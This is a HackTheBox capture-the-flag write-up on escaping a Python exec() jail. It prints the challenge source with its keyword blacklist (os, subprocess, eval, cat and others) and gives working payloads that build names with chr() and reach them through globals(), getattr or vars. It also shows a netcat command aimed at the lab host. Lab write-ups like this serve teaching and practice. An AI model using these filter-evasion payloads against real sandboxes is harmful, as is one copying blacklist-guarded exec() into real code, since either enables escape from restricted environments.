Locked Away

Platform: HackTheBox | Category: Misc | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-29 | Status: Solved Techniques: chr_string_construction, globals_get_bypass

Summary

Task: Escape a Python jail with exec() that blacklists import, os, eval, open, quotes, and brackets. Solution: Call the open_chest() function (which reads the flag) by constructing the string "open_chest" using chr() concatenation and accessing it via globals().get() to avoid blocked quotes and brackets.

Locked Away - HackTheBox

Description

"A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?"

Connection: nc 94.237.61.249 54149

Analysis

The challenge provides a Python jail where user input is executed via exec(), but with a blacklist filter.

Source Code (main.py)

 python read-only • copy allowed Copy
banner = r'''
.____                  __              .___    _____                        
|    |    ____   ____ |  | __ ____   __| _/   /  _  \__  _  _______  ___.__.
|    |   /  _ \_/ ___\|  |/ // __ \ / __ |   /  /_\  \ \/ \/ /\__  \<   |  |
|    |__(  <_> )  \___|    <\  ___// /_/ |  /    |    \     /  / __ \\___  |
|_______ \____/ \___  >__|_ \\___  >____ |  \____|__  /\/\_/  (____  / ____|
        \/          \/     \/    \/     \/          \/             \/\/     
'''


def open_chest():
    with open('flag.txt', 'r') as f:
        print(f.read())


blacklist = [
    'import', 'os', 'sys', 'breakpoint',
    'flag', 'txt', 'read', 'eval', 'exec',
    'dir', 'print', 'subprocess', '[', ']',
    'echo', 'cat', '>', '<', '"', '\'', 'open'
]

print(banner)

while True:
    command = input('The chest lies waiting... ')

    if any(b in command for b in blacklist):
        print('Invalid command!')
        continue

    try:
        exec(command)
    except Exception:
        print('You have been locked away...')
        exit(1337)

Blacklist Analysis

Goal

Call the open_chest() function which reads and prints the flag.

Problem

The function name open_chest contains open which is blacklisted!

Solution

Bypass Technique

1. Avoid brackets []: Use globals().get() instead of globals()['key']
2. Avoid blacklisted word "open": Build the string using chr() function

Character Codes for "open_chest"

Final Payload

 python read-only • copy allowed Copy
globals().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

How it works:

• chr(111)+chr(112)+chr(101)+chr(110) = "open"
• chr(95) = "_"
• chr(99)+chr(104)+chr(101)+chr(115)+chr(116) = "chest"
• globals().get("open_chest") returns the function object
• () calls the function

Execution

 bash read-only • copy allowed Copy
printf 'globals().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()\n' | nc 94.237.61.249 54149

Alternative Approaches

Using getattr()

 python read-only • copy allowed Copy
getattr(getattr(__builtins__, chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115))(), chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

Using vars()

 python read-only • copy allowed Copy
vars().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

References

• Python Jail Escape Techniques
• chr() function documentation